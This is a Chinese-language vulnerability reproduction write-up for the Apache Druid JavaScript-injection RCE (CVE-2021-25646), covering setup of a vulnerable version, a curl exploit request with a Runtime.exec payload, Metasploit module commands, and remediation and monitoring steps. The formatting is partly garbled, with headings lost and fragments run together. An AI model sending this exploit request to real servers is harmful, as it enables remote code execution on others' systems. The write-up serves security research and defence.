您好,登录后才能下订单哦!
# Apache Druid 命令执行漏洞CVE-2021-25646复现分析
## 漏洞概述
### 漏洞基本信息
- **漏洞编号**: CVE-2021-25646
- **漏洞类型**: 远程代码执行(RCE)
- **影响组件**: Apache Druid的Indexing Service
- **CVSS评分**: 8.1(高危)
- **影响版本**:
- Apache Druid < 0.20.1
- 部分0.19.0至0.20.0版本
### 漏洞背景
Apache Druid是一个高性能的实时分析数据库,广泛应用于时序数据分析场景。其Indexing Service负责数据摄取任务,通过JSON配置定义数据源和处理逻辑。
## 漏洞原理深度分析
### 技术根源
漏洞源于Druid对用户提供的JSON配置未进行充分过滤,导致攻击者可以通过精心构造的恶意配置注入JavaScript代码:
```json
{
"type": "index_hadoop",
"spec": {
"ioConfig": {
"type": "hadoop",
"inputSpec": {
"type": "inline",
"data": "恶意数据"
}
},
"dataSchema": {
"transformSpec": {
"transforms": [
{
"type": "javascript",
"name": "恶意转换",
"function": "function(str){...恶意代码...}"
}
]
}
}
}
}
JavaScriptFilter
处理transform配置java.lang.Runtime
调用wget https://archive.apache.org/dist/druid/0.19.0/apache-druid-0.19.0-bin.tar.gz
tar -xzf apache-druid-0.19.0-bin.tar.gz
cd apache-druid-0.19.0
conf/druid/single-server/micro-quickstart/_common/common.runtime.properties
:druid.enableJavaScript=true
druid.script.security.useWhiteList=false
./bin/start-micro-quickstart
curl -X POST -H "Content-Type: application/json" \
http://target:8090/druid/indexer/v1/task \
-d '{
"type": "index_hadoop",
"spec": {
"ioConfig": {
"type": "hadoop",
"inputSpec": {"type": "inline", "data": "test"}
},
"dataSchema": {
"dataSource": "sample",
"parser": {"type": "string", "parseSpec": {...}},
"transformSpec": {
"transforms": [{
"type": "javascript",
"name": "evil",
"function": "function(str){java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')}"
}]
}
}
}
}'
docker exec -it druid-coordinator ls -la /tmp/
使用Metasploit模块:
use exploit/multi/http/druid_js_rce
set RHOSTS target
set RPORT 8090
set TARGET_URI /druid
exploit
升级到安全版本:
# 修复版本
wget https://archive.apache.org/dist/druid/0.20.1/apache-druid-0.20.1-bin.tar.gz
主要修复点:
1. 默认禁用JavaScript功能
2. 强化JavaScriptFilter
的输入验证
3. 引入配置白名单机制
# 禁用JavaScript执行
druid.enableJavaScript=false
# 启用白名单
druid.script.security.useWhiteList=true
druid.script.security.whiteList=com.example.AllowedFunctions
漏洞触发涉及的关键类:
1. io.druid.indexing.common.task.IndexTask
2. io.druid.segment.transform.JavaScriptTransformer
3. org.mozilla.javascript.Context
调用栈示例:
at org.mozilla.javascript.NativeJavaMethod.call
at io.druid.java.util.common.StringUtils.format
at io.druid.segment.transform.JavaScriptTransformer.transform
攻击者通过以下方式突破限制:
1. 访问Java原生类:java.lang.Class.forName
2. 反射调用:getMethod().invoke()
3. 最终调用Runtime.exec()
网络层:
主机层:
# SELinux策略
chcon -t druid_exec_t /path/to/druid/bin
监控方案:
JavaScriptTransformer
, eval
Runtime.exec
# 查看运行中的任务
curl http://localhost:8090/druid/indexer/v1/tasks
# 终止恶意任务
curl -X POST http://localhost:8090/druid/indexer/v1/task/{taskId}/shutdown
作者注:本文仅用于安全研究目的,请严格遵守《网络安全法》相关规定。实际漏洞利用可能因环境差异需要调整,建议在完全可控的测试环境中验证。 “`
注:实际执行时需根据具体环境调整参数,所有代码示例需在授权环境下测试。完整复现可能需要配合调试工具(如Arthas)进行动态分析。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。